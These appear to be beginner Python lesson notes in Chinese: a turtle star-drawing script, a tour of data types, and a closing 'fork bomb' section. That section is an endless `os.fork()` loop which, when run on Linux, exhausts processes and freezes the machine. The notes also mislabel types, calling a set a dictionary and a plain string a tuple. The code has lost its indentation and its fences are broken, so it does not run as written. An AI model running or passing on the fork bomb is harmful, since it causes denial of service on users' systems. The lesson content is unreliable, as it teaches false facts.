```python
import random
import turtle as s
def star():
for i in range(5):
s.fd(100)
s.left(144)
def go():
s.up()
s.goto(random.randint(-350, 350), random.randint(-350, 350))
s.down()
for i in range(100):
star()
go()
s.done()
```python
import turtle
# 注释
# 变量
# 六大数据类型
a = 3
a = "字符串"
a = ["列表"]
a = {"字典"}
a = True # 布尔表达式:False
a = ("元组")
a = ('狼人', '吸血鬼', '骑士', '狂战士', '德鲁伊')
# 不能修改
# 查 增x 删x 改x
print(a[1])
print(a[2:4])
# 安全
# qq = (496359824, 123456)
# qq[1] = 654321
qq = [496359824, 123456]
qq[1] = 654321
print(qq)
# 判断语句 if-elif-else == !=
# 循环：
# for 循环
# while 循环
# fork"炸"弹
# 不打开：程序----打开---进程
import os
# 打开一个程序
# for i in range(100000000000):
while 1>0:
os.fork()
# linux系统
